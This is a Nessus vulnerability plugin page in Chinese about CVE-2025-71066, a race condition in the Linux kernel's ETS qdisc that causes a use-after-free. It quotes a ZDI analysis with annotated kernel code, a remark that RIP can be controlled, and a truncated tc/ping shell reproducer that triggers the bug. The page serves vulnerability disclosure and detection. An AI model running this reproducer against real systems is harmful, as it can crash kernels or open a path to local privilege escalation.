Linux/Unix 主機上安裝了一個或多個受到弱點影響的套件，且供應商未提供可用的修補程式。

  - 已解決 Linux 核心中的下列弱點：net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change zdi-disclosures@trendmicro.com says: The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis. Analysis: static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ... // (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch); for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc);
    } WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active);
    q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap)); for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]); for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); } // (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch); ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0);
    q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats);
    memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; } Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc Reproducer Steps (trimmed version of what was sent by zdi-disclosures@trendmicro.com) ``` DEV=${DEV:-lo} ROOT_HANDLE=${ROOT_HANDLE:-1:} BAND2_HANDLE=${BAND2_HANDLE:-20:} # child under 1:2 PING_BYTES=${PING_BYTES:-48} PING_COUNT=${PING_COUNT:-200000} PING_DST=${PING_DST:-127.0.0.1} SLOW_TBF_RATE=${SLOW_TBF_RATE:-8bit} SLOW_TBF_BURST=${SLOW_TBF_BURST:-100b} SLOW_TBF_LAT=${SLOW_TBF_LAT:-1s} cleanup() { tc qdisc del dev $DEV root 2>/dev/null } trap cleanup EXIT ip link set $DEV up tc qdisc del dev $DEV root 2>/dev/null || true tc qdisc add dev $DEV root handle $ROOT_HANDLE ets bands 2 strict 2 tc qdisc add dev $DEV parent 1:2 handle $BAND2_HANDLE \ tbf rate $SLOW_TBF_RATE burst $SLOW_TBF_BURST latency $SLOW_TBF_LAT tc filter add dev $DEV parent 1:
    protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV ping -I $DEV -f -c $PING_COUNT -s $PING_BYTES -W 0.001 $PING_DST \ >/dev/null 2>&1 & tc qdisc change dev $DEV root handle $ROOT_HANDLE ets bands 2 strict 0 tc qdisc change dev $DEV root handle $ROOT_HANDLE ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev $DEV parent ---truncated--- (CVE-2025-71066)

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Linux Distros 未修補的弱點：CVE-2025-71066

medium Nessus Plugin ID 283647

版本 1.23